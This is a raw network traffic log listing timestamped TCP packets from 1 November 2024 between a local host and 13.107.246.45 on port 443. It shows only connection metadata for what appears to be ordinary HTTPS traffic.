Nov 1, 2024 05:53:11.347794056 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.348323107 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.348332882 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.349128008 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.349132061 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.363543987 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.364005089 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.364012003 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.364681005 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.364685059 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571517944 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571614027 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571688890 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571696043 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.571737051 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571782112 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.571891069 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571949959 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.571990967 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.572099924 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.572141886 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.572187901 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.573849916 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.577581882 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.577595949 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.578012943 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.578027010 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.578037024 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.578042984 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.578253984 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.578259945 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.578347921 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.578361034 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.578378916 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.578383923 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.578392982 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.578398943 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.579149008 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.579153061 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.579163074 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.579165936 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.581700087 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.581716061 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.581772089 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.581806898 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.581818104 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.581954956 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.582360029 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.582367897 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.582420111 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.582539082 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.582550049 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.582613945 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.582619905 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.582803011 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.582822084 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.583812952 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.583857059 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.583934069 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.584043026 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.584063053 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.703564882 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.703632116 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.703680992 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.703838110 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.703854084 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.703865051 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.703871012 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.706536055 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.706562042 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:11.706629992 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.706760883 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:11.706773996 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.311220884 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.311706066 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.311727047 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.312201023 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.312206984 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.322849989 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.323196888 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.323214054 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.323625088 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.323630095 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.349703074 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.350258112 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.350275993 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.350687981 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.350692034 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.356920004 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.357431889 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.357472897 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.357871056 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.357884884 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.438452959 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.438877106 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.438958883 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.439287901 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.439346075 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.441102982 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.441332102 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.441389084 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.441417933 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.441426992 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.441437960 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.441442966 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.443939924 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.443989038 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.444061995 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.444246054 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.444262981 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.454793930 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.454874992 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.454941988 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.455038071 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.455059052 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.455071926 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.455079079 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.457367897 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.457437038 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.457526922 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.457642078 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.457700968 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.477401972 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.477461100 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.477515936 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.477642059 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.477646112 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.477654934 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.477658033 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.480036974 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.480130911 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.480214119 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.480318069 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.480366945 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.491517067 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.491635084 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.491684914 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.491766930 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.491796970 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.491808891 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.491816998 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.493832111 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.493849039 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.493904114 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.494015932 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.494026899 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.567018032 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.567089081 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.567203045 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.568537951 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.568598032 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.568623066 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.568631887 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.571233988 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.571289062 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:12.571376085 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.571487904 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:12.571518898 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.174747944 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.175471067 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.175496101 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.175971985 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.175978899 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.195543051 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.196074963 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.196118116 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.196533918 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.196554899 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.216696024 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.217021942 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.217052937 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.217410088 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.217422009 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.239351034 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.239703894 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.239723921 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.240067005 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.240071058 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.300805092 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.301295996 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.301326036 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.301752090 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.301764011 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.305749893 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.306267977 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.306327105 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.306365013 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.306386948 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.306397915 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.306405067 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.309144020 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.309174061 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.309251070 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.309401035 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.309412003 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.328047991 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.328180075 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.328284025 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.328284025 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.328324080 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.328363895 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.330482006 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.330508947 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.330573082 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.330677986 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.330689907 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.353838921 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.354084969 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.354240894 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.354290962 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.354291916 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.354320049 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.354366064 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.356285095 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.356301069 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.356509924 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.356631041 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.356642008 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.371202946 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.371336937 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.371452093 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.371575117 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.371582985 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.371596098 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.371601105 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.373471022 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.373491049 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.373646021 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.373931885 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.373944998 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.435687065 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.435792923 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.435844898 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.436033010 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.436063051 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.436089039 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.436101913 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.438905001 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.438915968 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:13.438988924 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.439156055 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:13.439165115 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.058671951 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.059114933 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.059139967 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.059570074 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.059575081 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.078710079 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.079077959 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.079088926 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.079523087 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.079528093 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.087915897 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.088263035 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.088273048 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.088650942 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.088655949 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.125724077 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.126194000 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.126216888 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.126528025 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.126534939 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.190812111 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.190857887 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.190912008 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.191090107 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.191106081 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.191114902 CET	49836	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.191119909 CET	443	49836	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.193809032 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.193830013 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.193918943 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.194053888 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.194061995 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.213953972 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.213999033 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.214098930 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.214209080 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.214217901 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.214247942 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.214252949 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.216196060 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.216263056 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.216341019 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.216464043 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.216479063 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.222609043 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.222841978 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.222889900 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.222933054 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.222939014 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.222949028 CET	49837	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.222953081 CET	443	49837	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.224807024 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.224817038 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.224884033 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.224991083 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.225001097 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.256376982 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.256494045 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.256545067 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.256725073 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.256725073 CET	49838	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.256733894 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.256741047 CET	443	49838	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.258482933 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.258512020 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.258599997 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.258754015 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.258784056 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.293536901 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.294181108 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.294188976 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.294559002 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.294564009 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.455524921 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.455600023 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.455651999 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.455919027 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.455919027 CET	49839	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.455925941 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.455933094 CET	443	49839	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.458354950 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.458367109 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.458440065 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.458584070 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.458591938 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.921659946 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.922386885 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.922404051 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.922802925 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.922807932 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.953484058 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.953915119 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.953922987 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.954232931 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.954237938 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.984070063 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.984630108 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.984657049 CET	443	49841	13.107.246.45	192.168.2.4
